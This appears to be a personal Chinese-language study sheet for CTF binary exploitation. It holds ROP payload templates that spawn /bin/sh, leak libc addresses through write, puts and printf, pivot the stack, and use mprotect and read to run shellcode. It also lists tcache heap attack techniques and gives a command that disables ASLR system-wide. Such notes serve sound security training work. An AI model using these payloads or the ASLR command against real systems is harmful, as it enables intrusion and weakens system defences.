PWN刷题小结

[toc]

1.杂

Ubuntu 18下偶尔会发生栈无法对齐的情况,多retn几次就好了。

strlen()函数来判断输入的长度,遇到'\x00'时会终止,而gets()函数遇到'\x00'并不会截断

sys,write,puts,printf

system("/binsh")

p32(e.plt['system']) + p32(0xdeadbeef) + p32(sh_addr)
p64(pop_rdi_ret) +  p64(sh_addr) + p64(e.sym['system'])
p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_plt) + p64(0xdeadbeef)

write:输出,read(为0,输入)

p32(write_plt) + p32(0x8048474) + p32(1) + p32(read_got) + p32(4)
p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got)
p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got)
p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)

puts

p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(e.sym['vuln'])
p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)

printf:

p32(printf_plt) + p32(main_addr) + p32(fmtstr_addr) + p32(printf_got)
p32(printf_plt) + p32(vuln_addr) + p32(fmt_addr) + p32(printf_got)

传参

32传参:

  • 传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器
  • 调用号:sys_read 的调用号 为 3,sys_write的调用号 为 4
  • 调用方式: 使用 int 80h中断进行系统调用

64位传参:

  • 传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi, rsi, rdx, rcx, r8, r9寄存器中,返回值存在rax寄存器
  • 调用号:sys_read 的调用号 为 0 ,sys_write 的调用号 为 1,
  • stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15
  • 调用方式: 使用 syscall 进行系统调用

关闭aslr

echo 0 > /proc/sys/kernel/randomize_va_space

gwt@ubuntu:~$ cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
gwt@ubuntu:~$ cyclic -l 0x61616166
20

关于recv地址

如果直接返回地址:%p这种:
stack_addr = int(io.recvuntil('\n',drop=True),16)

如果是这种:
[DEBUG] Received 0x2c bytes:
    00000000  42 79 65 62  79 65 7e 0a  a0 8a 14 5c  7e 7f 0a 57  │Byeb│ye~·│···\│~··W│
    00000010  65 6c 63 6f  6d 65 20 74  6f 20 41 43  54 46 27 73  │elco│me t│o AC│TF's│
    00000020  20 62 61 62  79 73 74 61  63 6b 21 0a               │ bab│ysta│ck!·│
那么
puts_addr = io.recvuntil('\x7f')[-6:]
puts_addr = puts_addr.ljust(8,'\x00')
print hex(u64(puts_addr))

1.Stack

1.栈迁移

payload:

payload = p32(sys_addr) + 'aaaa' + p32(buf_add+12) + b"/bin/sh\x00"
payload += (0x28 - len(payload))* b'a' + p32(buf_add-4) + p32(leave)
or
payload = 'aaaa'+ p32(sys_addr) + 'aaaa' + p32(buf_add+16) + b"/bin/sh\x00"
payload += (0x28 - len(payload))* b'a' + p32(buf_add) + p32(leave)

img

2.mprotect

mprotect函数,可以修改内存段的权限

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限
栈溢出到mprotect函数call==push+jmp
所以ret后要留一个返回地址因为ret就相当于jmp到mprotect
payload大致为

payload = 'a'*0x38+p32(mprotect_add)+p32(ret_add)
payload+=p32(argu1) + p32(argu2) +p32 (argu3)
第一个参数是被修改内存的地址0x80ea000
第二个参数是被修改内存的大小必须是页的整数倍0x1000
第三参数值权限0x7
然后找个pop来平衡堆栈
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret'
因为是3个参数就找3个pop
现在payload
payload = 'a' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) + p32 (mem_proc) + p32(ret_addr2)

ret_addr2是read函数的地址将shellcode写入内存
read函数原型
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容
buf 设为我们想要执行的内存地址    
size 适当大小足够写入shellcode就OK


mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']


payload  = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 
payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   
payload += p32(read_addr)
payload += p32(pop3_ret)  
payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x1000) 
payload += p32(mem_addr) 

3.Heap

1.Tchache

每条链最多7个,满了后放入fastbin与unsortedbin。

malloc时优先去tcache中找。

tcache最大为0x400,大于就会放入unsortedbin。

一些利用姿势

tcache dup

double free

house_of_spirit

free掉伪造的chunk,这里不会对size前后的chunk进行检查

overlapping

修改需要被free的size位,(包含其他chunk

perthread_corruption

控制tcache的管理结构。

0%